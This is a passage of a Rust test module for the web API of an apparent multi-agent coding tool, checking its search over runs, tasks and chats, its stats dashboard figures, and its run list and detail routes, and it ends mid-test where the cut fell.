16670    async fn search_caps_hits_and_snippet_length() {
16671        let f = Fixture::start().await;
16672        let runs = f.runs();
16673        for n in 0..(SEARCH_MAX_HITS + 5) {
16674            write_run(&runs, &format!("20260902-140501-{n:04}"), RunStatus::Merged);
16675        }
16676        let v = f.get("/api/search?scope=runs&q=web").await.json();
16677        assert_eq!(v["hits"].as_array().unwrap().len(), SEARCH_MAX_HITS);
16678        assert_eq!(v["total"], SEARCH_MAX_HITS + 5);
16679        assert_eq!(v["truncated"], true);
16680        // Every listed run hit carries its list row for the page's filters.
16681        assert!(
16682            v["hits"]
16683                .as_array()
16684                .unwrap()
16685                .iter()
16686                .all(|h| h["run"]["status"] == "merged")
16687        );
16688
16689        let long = format!("{}needle{}", "x".repeat(5000), "y".repeat(5000));
16690        let parts = snippet_of(&long, &["needle".to_owned()]);
16691        let len: usize = parts.iter().map(|p| p.text.chars().count()).sum();
16692        assert!(len <= SNIPPET_BEFORE + SNIPPET_AFTER + 2, "{len}");
16693        assert!(parts.iter().any(|p| p.hit && p.text == "needle"));
16694    }
16695
16696    #[tokio::test]
16697    async fn search_tasks_reads_every_field_and_rejects_bad_requests() {
16698        let f = Fixture::start().await;
16699        let queue = f.queue();
16700        let mut t = Task::new(
16701            "short title".to_owned(),
16702            "line one\nthe hidden Armadillo detail".to_owned(),
16703            PathBuf::from("/repo/magi"),
16704            Source::Agent {
16705                run: "r1".to_owned(),
16706                node: "chat".to_owned(),
16707            },
16708        );
16709        t.last_error = Some("disk full on /tmp".to_owned());
16710        queue.put(&mut t).expect("file the task");
16711
16712        for (q, want) in [
16713            ("armadillo", 1),
16714            ("disk%20FULL", 1),
16715            ("chat", 1),
16716            ("queued", 1),
16717            ("short%20nothing", 0),
16718        ] {
16719            let v = f
16720                .get(&format!("/api/search?scope=tasks&q={q}"))
16721                .await
16722                .json();
16723            assert_eq!(v["total"], want, "{q}: {v}");
16724        }
16725        for bad in [
16726            "/api/search?scope=tasks&q=",
16727            "/api/search?scope=tasks&q=%20",
16728            "/api/search?scope=chats&q=",
16729            "/api/search?scope=chats&q=%20",
16730            "/api/search?scope=nope&q=a",
16731            "/api/search?q=a",
16732        ] {
16733            assert_eq!(f.get(bad).await.status, 400, "{bad}");
16734        }
16735    }
16736
16737    /// Write one conversation file the way the store reads it back.
16738    fn write_talk(f: &Fixture, id: &str, status: &str, turns: &[(&str, &str)]) {
16739        let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "claude", 1))
16740            .expect("seat value");
16741        let turns: Vec<serde_json::Value> = turns
16742            .iter()
16743            .map(|(who, body)| {
16744                serde_json::json!({"who": who, "body": body, "at": "2026-09-01T00:00:00Z"})
16745            })
16746            .collect();
16747        let doc = serde_json::json!({
16748            "schema": 1, "id": id, "repo": "/SecretRepoPath", "agent": "claude-agent",
16749            "status": status, "turns": turns,
16750            "created_at": "2026-09-01T00:00:00Z", "updated_at": "2026-09-01T00:00:00Z",
16751            "seat": seat,
16752        });
16753        let dir = f.home.path().join("talks");
16754        std::fs::create_dir_all(&dir).expect("talks dir");
16755        std::fs::write(dir.join(format!("{id}.json")), doc.to_string()).expect("write talk");
16756    }
16757
16758    #[tokio::test]
16759    async fn search_chats_reads_title_and_turns_and_counts_unreadable() {
16760        let f = Fixture::start().await;
16761        write_talk(
16762            &f,
16763            "20260901-000001-aaaa",
16764            "open",
16765            &[
16766                (
16767                    "operator",
16768                    "\n  Why does the Pangolin cache expire?\nsecond line",
16769                ),
16770                ("agent", "Because the TTL is thirty seconds."),
16771            ],
16772        );
16773        write_talk(
16774            &f,
16775            "20260901-000002-bbbb",
16776            "closed",
16777            &[("operator", "unrelated"), ("agent", "The Zebra moved on.")],
16778        );
16779        std::fs::write(f.home.path().join("talks/broken.json"), "{ nope").expect("broken");
16780
16781        let search = |q: &'static str| {
16782            let f = &f;
16783            async move {
16784                f.get(&format!("/api/search?scope=chats&q={q}"))
16785                    .await
16786                    .json()
16787            }
16788        };
16789
16790        let v = search("PANGOLIN").await;
16791        assert_eq!(v["scope"], "chats");
16792        assert_eq!(v["total"], 1, "{v}");
16793        assert_eq!(v["hits"][0]["id"], "20260901-000001-aaaa");
16794        assert_eq!(v["hits"][0]["field"], "title");
16795        assert_eq!(v["unreadable"], 1, "{v}");
16796        let marked: Vec<&str> = v["hits"][0]["snippet"]
16797            .as_array()
16798            .unwrap()
16799            .iter()
16800            .filter(|p| p["hit"] == true)
16801            .map(|p| p["text"].as_str().unwrap())
16802            .collect();
16803        assert_eq!(marked, ["Pangolin"]);
16804
16805        // An agent turn, in a closed conversation.
16806        let v = search("zebra").await;
16807        assert_eq!(v["total"], 1, "{v}");
16808        assert_eq!(v["hits"][0]["field"], "agent");
16809        // Words may sit in different turns; all must be present.
16810        assert_eq!(search("pangolin%20thirty").await["total"], 1);
16811        assert_eq!(search("pangolin%20zebra").await["total"], 0);
16812        // Bookkeeping is not searched.
16813        for q in ["claude-agent", "SecretRepoPath", "open", "closed"] {
16814            assert_eq!(search(q).await["total"], 0, "{q}");
16815        }
16816        // The first line only is the title; the second line is still a turn.
16817        assert_eq!(search("second").await["hits"][0]["field"], "operator");
16818        // Open conversations are listed before closed ones.
16819        assert_eq!(search("the").await["hits"][0]["id"], "20260901-000001-aaaa");
16820
16821        let v = f.get("/api/search?scope=nope&q=a").await;
16822        assert_eq!(v.status, 400);
16823        assert!(
16824            v.body.contains("scope must be runs, tasks or chats"),
16825            "{}",
16826            v.body
16827        );
16828    }
16829
16830    #[test]
16831    fn a_question_card_links_a_task_id_to_the_task_page() {
16832        let start = APP_JS
16833            .find("function updateAskCard(")
16834            .expect("updateAskCard exists");
16835        let body = &APP_JS[start..];
16836        let body = &body[..body.find("\n}\n").expect("function end")];
16837        assert!(body.contains("question.run_is_task"));
16838        assert!(body.contains("`#/tasks/${encodeURIComponent(question.run)}`"));
16839        assert!(body.contains("`#/runs/${question.run}`"));
16840        assert!(body.contains("\"task\" : \"run\""));
16841    }
16842
16843    #[test]
16844    fn plain_text_message_surfaces_go_through_linkify() {
16845        assert!(APP_JS.contains("function linkify("));
16846        assert!(!APP_JS.contains("class: \"event-msg\", text:"));
16847        assert!(!APP_JS.contains("class: \"notice-msg\", text:"));
16848        assert!(APP_JS.contains("linkify(el(\"span\", { class: \"event-msg\" })"));
16849        assert!(APP_JS.contains("linkify(el(\"div\", { class: \"notice-msg\" })"));
16850        assert!(!APP_JS.contains("innerHTML = text"));
16851    }
16852
16853    #[test]
16854    fn implementation_rate_views_keep_independent_samples() {
16855        for (competitive_n, solo_n) in [(0, 0), (9, 10), (10, 9)] {
16856            let a = stats::AgentStats {
16857                competitive_entered: competitive_n,
16858                competitive_wins: usize::from(competitive_n > 0),
16859                solo_entered: solo_n,
16860                solo_adopted: 2 * usize::from(solo_n > 0),
16861                ..Default::default()
16862            };
16863            let v = serde_json::to_value(AgentStatsView::from(&a)).unwrap();
16864            for (key, n, numerator) in [
16865                ("competitive_win_rate", competitive_n, a.competitive_wins),
16866                ("solo_adoption_rate", solo_n, a.solo_adopted),
16867            ] {
16868                if n == 0 {
16869                    assert!(v[key].is_null());
16870                } else {
16871                    assert_eq!(v[key]["denominator"], n);
16872                    assert_eq!(v[key]["pct"], 100.0 * numerator as f64 / n as f64);
16873                }
16874            }
16875        }
16876        assert!(APP_JS.contains("rate: a.competitive_win_rate"));
16877        assert!(APP_JS.contains("rate: a.solo_adoption_rate"));
16878        assert!(APP_JS.contains("r.rate.denominator < STATS_LOW_N"));
16879        assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
16880    }
16881
16882    #[test]
16883    fn stats_bars_share_one_id_keyed_plan() {
16884        let start = APP_JS
16885            .find("function statsBarRows(")
16886            .expect("statsBarRows exists");
16887        let body = &APP_JS[start..];
16888        let body = &body[..body.find("\n}\n").expect("function end")];
16889        assert!(body.contains("statsBarPlan(rows)"));
16890        assert!(body.contains("statsAgentTone(row.agent)"));
16891        assert!(!body.contains("candTone(i)"));
16892        assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
16893        for root in [
16894            "stats-agents-bars",
16895            "stats-solo-bars",
16896            "stats-reviewers-bars",
16897        ] {
16898            assert!(APP_JS.contains(&format!("statsBarRows($(\"{root}\")")));
16899        }
16900    }
16901
16902    #[test]
16903    fn the_precision_scatter_is_a_pure_plan_in_the_agents_colour() {
16904        let start = APP_JS
16905            .find("function renderStatsReviewerScatter(")
16906            .expect("renderStatsReviewerScatter exists");
16907        let body = &APP_JS[start..];
16908        let body = &body[..body.find("\n}\n").expect("function end")];
16909        assert!(body.contains("statsScatterPlan(reviewers)"));
16910        assert!(body.contains("statsAgentTone(d.agent)"));
16911        assert!(APP_JS.contains("function statsScatterPlan("));
16912        assert!(
16913            APP_JS.contains("d.submitted < STATS_LOW_N")
16914                || APP_JS.contains("r.submitted < STATS_LOW_N")
16915        );
16916        assert!(INDEX_HTML.contains("id=\"stats-reviewers-scatter\""));
16917        assert!(APP_CSS.contains(".precision-scatter"));
16918    }
16919
16920    #[test]
16921    fn advisor_reflection_is_drawn_as_stacked_segments() {
16922        assert!(APP_JS.contains("statsReflectionRows($(\"stats-advisors-bars\")"));
16923        assert!(APP_JS.contains("const STATS_SEG_MIN = 4;"));
16924        let html = include_str!("../assets/ui/index.html");
16925        assert!(html.contains("Approximate"));
16926        for label in ["reflected strongly", "faint", "no proposal"] {
16927            assert!(html.contains(label));
16928        }
16929        let css = include_str!("../assets/ui/app.css");
16930        for c in ["refl-strong", "refl-faint", "refl-absent"] {
16931            assert!(css.contains(&format!(".{c} {{")));
16932        }
16933    }
16934
16935    #[test]
16936    fn stats_daily_chart_is_planned_purely_and_rendered_from_the_api() {
16937        assert!(APP_JS.contains("function statsDailyPlan("));
16938        assert!(APP_JS.contains("renderStatsDaily(s.daily)"));
16939        assert!(INDEX_HTML.contains("id=\"stats-daily\""));
16940    }
16941
16942    #[test]
16943    fn a_keystroke_invalidates_the_search_reply_still_in_flight() {
16944        let start = APP_JS
16945            .find("function scheduleSearch(")
16946            .expect("scheduleSearch exists");
16947        let body = &APP_JS[start..];
16948        let body = &body[..body.find("\n}\n").expect("function end")];
16949        assert!(body.contains("s.seq += 1"));
16950    }
16951
16952    /// The dashboard reads every run's state itself rather than trusting a
16953    /// separately-maintained count, so an unreadable run must be counted the
16954    /// same way `/api/health` counts it - never silently dropped the way the
16955    /// CLI's own `stats::load_all` drops it.
16956    #[tokio::test]
16957    async fn stats_runs_unreadable_matches_health() {
16958        let f = Fixture::start().await;
16959        write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
16960        let broken = f.runs().join("20260902-140502-bad");
16961        std::fs::create_dir_all(&broken).expect("run dir");
16962        std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
16963
16964        let stats = f.get("/api/stats").await;
16965        let health = f.get("/api/health").await;
16966
16967        assert_eq!(stats.status, 200);
16968        assert_eq!(stats.json()["totals"]["runs"], 1);
16969        assert_eq!(stats.json()["runs_unreadable"], 1);
16970        assert_eq!(
16971            stats.json()["runs_unreadable"],
16972            health.json()["runs_unreadable"],
16973            "the dashboard and /api/health must never disagree about how many \
16974             runs could not be read"
16975        );
16976    }
16977
16978    #[tokio::test]
16979    async fn stats_verdict_breakdown_covers_stalled_and_in_progress_runs() {
16980        let f = Fixture::start().await;
16981        write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
16982        write_run(&f.runs(), "20260902-140502-b", RunStatus::Stalled);
16983        write_run(&f.runs(), "20260902-140503-c", RunStatus::Implementing);
16984
16985        let totals = &f.get("/api/stats").await.json()["totals"];
16986        assert_eq!(totals["runs"], 3);
16987        assert_eq!(totals["merged"], 1);
16988        assert_eq!(totals["stalled"], 1);
16989        assert_eq!(totals["in_progress"], 1);
16990        // A stalled run must never read as blocked/merged/ready - it is its
16991        // own bucket, not folded into a "decided" one.
16992        assert_eq!(totals["blocked"], 0);
16993        assert_eq!(totals["ready"], 0);
16994    }
16995
16996    #[tokio::test]
16997    async fn stats_advisors_report_proposals_and_reflection() {
16998        use crate::advise::{Advice, AdvisorRecord, Reflection};
16999        use crate::verdict::Proposal;
17000
17001        let f = Fixture::start().await;
17002        let mut state = RunState::new(
17003            PathBuf::from("/repo/magi"),
17004            "main".to_owned(),
17005            "0123456789abcdef".to_owned(),
17006            "task".to_owned(),
17007            Config::default(),
17008        );
17009        state.id = "20260902-140501-a".to_owned();
17010        state.status = RunStatus::Merged;
17011        state.advice = Some(Advice {
17012            records: vec![
17013                AdvisorRecord {
17014                    seat: "advisor-1".to_owned(),
17015                    agent: "alpha".to_owned(),
17016                    proposal: Some(Proposal {
17017                        approach: "do it".to_owned(),
17018                        key_tradeoff: "speed over memory".to_owned(),
17019                        risks: Vec::new(),
17020                        touches: Vec::new(),
17021                        why_not_naive: "breaks under load".to_owned(),
17022                    }),
17023                    error: None,
17024                    duration_ms: 0,
17025                    reflection: Reflection::Strong,
17026                },
17027                AdvisorRecord {
17028                    seat: "advisor-2".to_owned(),
17029                    agent: "alpha".to_owned(),
17030                    proposal: None,
17031                    error: Some("timed out".to_owned()),
17032                    duration_ms: 0,
17033                    reflection: Reflection::Absent,
17034                },
17035            ],
17036            synthesis: Some("blended brief".to_owned()),
17037        });
17038        let dir = f.runs().join(&state.id);
17039        std::fs::create_dir_all(&dir).expect("run dir");
17040        std::fs::write(
17041            dir.join("run.json"),
17042            serde_json::to_string_pretty(&state).expect("serialize run"),
17043        )
17044        .expect("write run.json");
17045
17046        // `alpha` is in no roster here; this test is about the rates.
17047        let advisors = f.get("/api/stats?all=true").await.json()["advisors"].clone();
17048        let alpha = advisors
17049            .as_array()
17050            .expect("an array")
17051            .iter()
17052            .find(|a| a["agent"] == "alpha")
17053            .expect("alpha row");
17054        assert_eq!(alpha["seated"], 2);
17055        assert_eq!(alpha["proposed"], 1);
17056        assert_eq!(alpha["absent"], 1);
17057        assert_eq!(alpha["strong"], 1);
17058        assert_eq!(alpha["faint"], 0);
17059        assert_eq!(alpha["reflection_rate"]["pct"], 100.0);
17060    }
17061
17062    #[tokio::test]
17063    async fn stats_hides_agents_outside_the_roster_unless_all() {
17064        use crate::run::Candidate;
17065        let repo = TempDir::new().expect("repo dir");
17066        std::fs::write(
17067            repo.path().join("magi.toml"),
17068            "[[agents]]\nid = \"keep\"\nkind = \"claude\"\n",
17069        )
17070        .expect("magi.toml");
17071        let f = Fixture::with_repo(repo.path().to_path_buf()).await;
17072        let mut state = RunState::new(
17073            PathBuf::from("/repo/magi"),
17074            "main".to_owned(),
17075            "0123456789abcdef".to_owned(),
17076            "task".to_owned(),
17077            Config::default(),
17078        );
17079        state.id = "20260902-140501-a".to_owned();
17080        state.status = RunStatus::Merged;
17081        for (label, agent) in [('A', "keep"), ('B', "retired")] {
17082            let mut c: Candidate = serde_json::from_value(serde_json::json!({
17083                "index": 0, "label": label.to_string(), "agent": agent,
17084                "branch": "b", "worktree": "/w",
17085            }))
17086            .expect("candidate");
17087            c.label = label;
17088            state.candidates.push(c);
17089        }
17090        let dir = f.runs().join(&state.id);
17091        std::fs::create_dir_all(&dir).expect("run dir");
17092        std::fs::write(
17093            dir.join("run.json"),
17094            serde_json::to_string_pretty(&state).expect("serialize run"),
17095        )
17096        .expect("write run.json");
17097
17098        let agents_of = |v: &serde_json::Value| -> Vec<String> {
17099            v["agents"]
17100                .as_array()
17101                .expect("array")
17102                .iter()
17103                .map(|a| a["agent"].as_str().unwrap().to_owned())
17104                .collect()
17105        };
17106        let hidden = f.get("/api/stats").await.json();
17107        assert_eq!(agents_of(&hidden), ["keep"]);
17108        assert_eq!(hidden["retired_hidden"], serde_json::json!(["retired"]));
17109        assert_eq!(hidden["totals"]["runs"], 1);
17110
17111        let all = f.get("/api/stats?all=true").await.json();
17112        assert_eq!(agents_of(&all).len(), 2);
17113        assert_eq!(all["retired_hidden"], serde_json::json!([]));
17114        // Verify competitive and solo keys exist on agent entries
17115        let keep_agent = all["agents"]
17116            .as_array()
17117            .unwrap()
17118            .iter()
17119            .find(|a| a["agent"] == "keep")
17120            .unwrap();
17121        assert_eq!(keep_agent["competitive_entered"], 1);
17122        assert_eq!(keep_agent["competitive_wins"], 0);
17123        assert_eq!(keep_agent["competitive_win_rate"]["pct"], 0.0);
17124        assert_eq!(keep_agent["solo_entered"], 0);
17125        assert_eq!(keep_agent["solo_adopted"], 0);
17126        assert!(keep_agent["solo_adoption_rate"].is_null());
17127    }
17128
17129    #[tokio::test]
17130    async fn stats_release_bumps_split_clean_from_attention() {
17131        use crate::run::ReleaseBump;
17132
17133        let f = Fixture::start().await;
17134
17135        let mut clean = RunState::new(
17136            PathBuf::from("/repo/magi"),
17137            "main".to_owned(),
17138            "0123456789abcdef".to_owned(),
17139            "task".to_owned(),
17140            Config::default(),
17141        );
17142        clean.id = "20260902-140501-a".to_owned();
17143        clean.status = RunStatus::Merged;
17144        clean.release_bump = Some(ReleaseBump {
17145            pr_url: Some("https://github.com/o/r/pull/1".to_owned()),
17146            version: Some("1.0.0".to_owned()),
17147            automerge_enabled: true,
17148            merged_directly: false,
17149            local: false,
17150            release: None,
17151            problem: None,
17152            action_required: None,
17153        });
17154
17155        let mut blocked = RunState::new(
17156            PathBuf::from("/repo/magi"),
17157            "main".to_owned(),
17158            "0123456789abcdef".to_owned(),
17159            "task".to_owned(),
17160            Config::default(),
17161        );
17162        blocked.id = "20260902-140502-b".to_owned();
17163        blocked.status = RunStatus::Merged;
17164        blocked.release_bump = Some(ReleaseBump {
17165            pr_url: Some("https://github.com/o/r/pull/2".to_owned()),
17166            version: Some("1.0.1".to_owned()),
17167            automerge_enabled: false,
17168            merged_directly: false,
17169            local: false,
17170            release: None,
17171            problem: Some("checks red".to_owned()),
17172            action_required: Some("look at the PR".to_owned()),
17173        });
17174
17175        for state in [&clean, &blocked] {
17176            let dir = f.runs().join(&state.id);
17177            std::fs::create_dir_all(&dir).expect("run dir");
17178            std::fs::write(
17179                dir.join("run.json"),
17180                serde_json::to_string_pretty(state).expect("serialize run"),
17181            )
17182            .expect("write run.json");
17183        }
17184
17185        let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
17186        assert_eq!(bumps["merged"], 2);
17187        assert_eq!(bumps["recorded"], 2);
17188        assert_eq!(bumps["pr_opened"], 2);
17189        assert_eq!(bumps["automerge_enabled"], 1);
17190        assert_eq!(bumps["needs_attention"], 1);
17191        assert_eq!(bumps["clean"], 1);
17192        assert_eq!(bumps["coverage_rate"]["pct"], 100.0);
17193        assert_eq!(bumps["attention_rate"]["pct"], 50.0);
17194    }
17195
17196    #[tokio::test]
17197    async fn stats_release_bumps_rates_are_null_with_nothing_recorded() {
17198        let f = Fixture::start().await;
17199        write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
17200
17201        let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
17202        assert_eq!(bumps["merged"], 1);
17203        assert_eq!(bumps["recorded"], 0);
17204        // `merged` is nonzero, so coverage still reads as a real 0%, not an
17205        // absent rate - "0 of 1 merged runs" is a fact, not a missing value.
17206        assert_eq!(bumps["coverage_rate"]["pct"], 0.0);
17207        // `pr_opened` and `recorded` are both zero here, so these rates have
17208        // no denominator to compute from and must be null.
17209        assert_eq!(bumps["automerge_rate"], Value::Null);
17210        assert_eq!(bumps["attention_rate"], Value::Null);
17211    }
17212
17213    #[tokio::test]
17214    async fn stats_queue_counts_come_from_the_live_queue() {
17215        let f = Fixture::start().await;
17216        let q = f.queue();
17217        let mut queued = Task::new(
17218            "queued task".to_owned(),
17219            "do it".to_owned(),
17220            PathBuf::from("/repo"),
17221            Source::Human,
17222        );
17223        q.put(&mut queued).expect("put queued");
17224        let mut held = Task::new(
17225            "held task".to_owned(),
17226            "do it later".to_owned(),
17227            PathBuf::from("/repo"),
17228            Source::Human,
17229        );
17230        held.hold_machine(Some("out of attempts".to_owned()));
17231        q.put(&mut held).expect("put held");
17232
17233        let queue = f.get("/api/stats").await.json()["queue"].clone();
17234        assert_eq!(queue["queued"], 1);
17235        assert_eq!(queue["held"], 1);
17236        assert_eq!(queue["running"], 0);
17237        assert_eq!(queue["done"], 0);
17238        assert_eq!(queue["failed"], 0);
17239        assert_eq!(queue["blocked"], 0);
17240    }
17241
17242    #[tokio::test]
17243    async fn stats_on_an_empty_home_is_all_zero_not_an_error() {
17244        let f = Fixture::start().await;
17245        let stats = f.get("/api/stats").await;
17246        assert_eq!(stats.status, 200);
17247        assert_eq!(stats.json()["totals"]["runs"], 0);
17248        assert_eq!(stats.json()["totals"]["completion_rate"], Value::Null);
17249        assert_eq!(stats.json()["runs_unreadable"], 0);
17250        assert!(stats.json()["agents"].as_array().unwrap().is_empty());
17251        assert!(stats.json()["advisors"].as_array().unwrap().is_empty());
17252        assert!(stats.json()["repos"].as_array().unwrap().is_empty());
17253        assert_eq!(stats.json()["repo"], Value::Null);
17254    }
17255
17256    #[tokio::test]
17257    async fn stats_lists_every_repository_with_runs_recorded() {
17258        let f = Fixture::start().await;
17259        write_run_repo(
17260            &f.runs(),
17261            "20260902-140501-a",
17262            RunStatus::Merged,
17263            "/repos/a",
17264        );
17265        write_run_repo(
17266            &f.runs(),
17267            "20260902-140502-b",
17268            RunStatus::Merged,
17269            "/repos/a",
17270        );
17271        write_run_repo(
17272            &f.runs(),
17273            "20260902-140503-c",
17274            RunStatus::Blocked,
17275            "/repos/b",
17276        );
17277
17278        let stats = f.get("/api/stats").await;
17279        assert_eq!(stats.status, 200);
17280        // Unfiltered - the aggregate across both repositories.
17281        assert_eq!(stats.json()["totals"]["runs"], 3);
17282        assert_eq!(stats.json()["repo"], Value::Null);
17283
17284        let repos = stats.json()["repos"].clone();
17285        let repos = repos.as_array().unwrap();
17286        assert_eq!(repos.len(), 2);
17287        // Busiest (2 runs) first.
17288        assert_eq!(repos[0]["repo"], "/repos/a");
17289        assert_eq!(repos[0]["name"], "a");
17290        assert_eq!(repos[0]["runs"], 2);
17291        assert_eq!(repos[1]["repo"], "/repos/b");
17292        assert_eq!(repos[1]["runs"], 1);
17293    }
17294
17295    #[tokio::test]
17296    async fn stats_repo_query_narrows_the_aggregate_to_one_repository() {
17297        let f = Fixture::start().await;
17298        write_run_repo(
17299            &f.runs(),
17300            "20260902-140501-a",
17301            RunStatus::Merged,
17302            "/repos/a",
17303        );
17304        write_run_repo(
17305            &f.runs(),
17306            "20260902-140502-b",
17307            RunStatus::Blocked,
17308            "/repos/b",
17309        );
17310
17311        let stats = f.get("/api/stats?repo=%2Frepos%2Fa").await;
17312        assert_eq!(stats.status, 200);
17313        assert_eq!(stats.json()["totals"]["runs"], 1);
17314        assert_eq!(stats.json()["totals"]["merged"], 1);
17315        assert_eq!(stats.json()["repo"], "/repos/a");
17316        // The repository list itself is unaffected by the filter - it is
17317        // what a client switches repositories from.
17318        assert_eq!(stats.json()["repos"].as_array().unwrap().len(), 2);
17319        // runs_unreadable is a whole-workload count, never scoped to the
17320        // selected repository - see StatsView::runs_unreadable's own doc.
17321        assert_eq!(stats.json()["runs_unreadable"], 0);
17322    }
17323
17324    #[tokio::test]
17325    async fn stats_daily_is_thirty_ascending_days_scoped_by_repo() {
17326        let f = Fixture::start().await;
17327        write_run_repo(
17328            &f.runs(),
17329            "20260902-140501-a",
17330            RunStatus::Merged,
17331            "/repos/a",
17332        );
17333        write_run_repo(
17334            &f.runs(),
17335            "20260902-140502-b",
17336            RunStatus::Merged,
17337            "/repos/b",
17338        );
17339
17340        for uri in ["/api/stats", "/api/stats?repo=%2Frepos%2Fa"] {
17341            let json = f.get(uri).await.json();
17342            let daily = json["daily"].as_array().expect("daily is an array");
17343            assert_eq!(daily.len(), 30);
17344            let dates: Vec<&str> = daily.iter().map(|d| d["date"].as_str().unwrap()).collect();
17345            let mut sorted = dates.clone();
17346            sorted.sort();
17347            assert_eq!(dates, sorted);
17348            for d in daily {
17349                assert_eq!(
17350                    d["merged"].as_u64().unwrap()
17351                        + d["ready"].as_u64().unwrap()
17352                        + d["other"].as_u64().unwrap(),
17353                    d["runs"].as_u64().unwrap()
17354                );
17355            }
17356            assert!(json["totals"]["runs"].as_u64().unwrap() >= 1);
17357        }
17358    }
17359
17360    #[tokio::test]
17361    async fn stats_repo_query_for_an_unknown_repo_is_a_404() {
17362        let f = Fixture::start().await;
17363        write_run_repo(
17364            &f.runs(),
17365            "20260902-140501-a",
17366            RunStatus::Merged,
17367            "/repos/a",
17368        );
17369
17370        let stats = f.get("/api/stats?repo=%2Frepos%2Fnope").await;
17371        assert_eq!(stats.status, 404);
17372    }
17373
17374    #[tokio::test]
17375    async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
17376        let f = Fixture::start().await;
17377        write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
17378
17379        let summary = f.get("/api/runs").await.json();
17380        let row = &summary[0];
17381        assert_eq!(row["short"], "a1b2");
17382        assert_eq!(row["status"], "ready");
17383        assert_eq!(row["done"], true);
17384        assert_eq!(row["title"], "Add a web UI");
17385        assert_eq!(row["repo_name"], "magi");
17386        assert_eq!(row["judges"], 3);
17387        assert_eq!(row["winner"], Value::Null);
17388        assert_eq!(row["reviews"], 0);
17389
17390        // The short id resolves, and the detail route is the state itself, not
17391        // a projection of it: the UI reads fields the summary does not carry.
17392        let detail = f.get("/api/runs/a1b2").await;
17393        assert_eq!(detail.status, 200);
17394        assert_eq!(detail.json()["base_branch"], "main");
17395        assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
17396    }
17397
17398    /// `status: "ready"` alone cannot tell a run still headed for a landing
17399    /// (a PR closed without merging, say) apart from one `[merge] mode =
17400    /// "none"` left unmerged for good — the confusion the operator flagged
17401    /// after the CLI report already grew a `not landed — nothing to do by
17402    /// design` line for exactly this case (`report.rs`). Both the list route
17403    /// and the detail route must carry a flag the phone can key on instead of
17404    /// re-deriving it from `status` + `merge.mode` itself.
17405    #[tokio::test]
17406    async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
17407        let f = Fixture::start().await;
17408
17409        let mut none_run = RunState::new(
17410            PathBuf::from("/repo/magi"),
17411            "main".to_owned(),
17412            "0123456789abcdef".to_owned(),
17413            "Add a web UI".to_owned(),
17414            Config::default(),
17415        );
17416        none_run.id = "20260902-140503-none".to_owned();
17417        none_run.status = RunStatus::Ready;
17418        none_run.merge = Some(crate::run::MergeOutcome {
17419            mode: crate::config::MergeMode::None,
17420            ok: true,
17421            detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
17422            empty: false,
17423        });
17424        write_state(&f.runs(), &none_run);
17425
17426        let mut pr_run = RunState::new(
17427            PathBuf::from("/repo/magi"),
17428            "main".to_owned(),
17429            "0123456789abcdef".to_owned(),
17430            "Add a web UI".to_owned(),
17431            Config::default(),
17432        );
17433        pr_run.id = "20260902-140504-prcl".to_owned();
17434        pr_run.status = RunStatus::Ready;
17435        pr_run.merge = Some(crate::run::MergeOutcome {
17436            mode: crate::config::MergeMode::Pr,
17437            ok: false,
17438            detail: "https://example.com/pr/1 was closed without merging".to_owned(),
17439            empty: false,
17440        });
17441        write_state(&f.runs(), &pr_run);
17442
17443        let summary = f.get("/api/runs").await.json();
17444        let rows: std::collections::HashMap<&str, &Value> = summary
17445            .as_array()
17446            .expect("an array")
17447            .iter()
17448            .map(|r| (r["id"].as_str().expect("an id"), r))
17449            .collect();
17450        assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
17451        assert_eq!(
17452            rows[none_run.id.as_str()]["unmerged_by_design"],
17453            true,
17454            "a mode-none Ready must be flagged in the list"
17455        );
17456        assert_eq!(
17457            rows[pr_run.id.as_str()]["unmerged_by_design"],
17458            false,
17459            "a Ready reached by a closed pull request is a different case"
17460        );
17461
17462        let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
17463        assert_eq!(none_detail["status"], "ready");
17464        assert_eq!(none_detail["unmerged_by_design"], true);
17465
17466        let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
17467        assert_eq!(pr_detail["unmerged_by_design"], false);
17468    }
17469
17470    /// `RunState::active` is only ever cleared by whoever populated it, so the
17471    /// detail route also has to say whether a daemon is actually still
17472    /// driving this run right now — otherwise a seat from a killed process's
17473    /// last wave would read as live forever.
17474    #[tokio::test]
17475    async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
17476        let f = Fixture::start().await;
17477        // Matches `write_daemon`'s hard-coded `current.run`, so the second
17478        // half of this test can claim the daemon is working on it without a
17479        // second helper.
17480        let id = "20260902-140502-bbbb";
17481        let mut state = RunState::new(
17482            PathBuf::from("/repo/magi"),
17483            "main".to_owned(),
17484            "0123456789abcdef".to_owned(),
17485            "Add a web UI".to_owned(),
17486            Config::default(),
17487        );
17488        state.id = id.to_owned();
17489        state.status = RunStatus::Judging;
17490        state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
17491        let dir = f.runs().join(id);
17492        std::fs::create_dir_all(&dir).expect("run dir");
17493        std::fs::write(
17494            dir.join("run.json"),
17495            serde_json::to_string_pretty(&state).expect("serialize run"),
17496        )
17497        .expect("write run.json");
17498
17499        // No daemon.json at all, and no `driver_pid` recorded either (this
17500        // state was written directly, never through `execute()`): there is
17501        // nothing to confirm either way, so the route must say `"unknown"` —
17502        // never `"dead"`, which is exactly the false diagnosis a manual `magi
17503        // run` used to get from this route before `driver_pid` existed.
17504        let cold = f.get(&format!("/api/runs/{id}")).await.json();
17505        assert_eq!(cold["active"]["judge-2"]["node"], "judge");
17506        assert_eq!(cold["live"], "unknown", "{cold}");
17507
17508        // A fresh heartbeat naming exactly this run: the same entry now reads
17509        // as confirmed, not merely recorded.
17510        write_daemon(f.home.path(), Timestamp::now());
17511        let warm = f.get(&format!("/api/runs/{id}")).await.json();
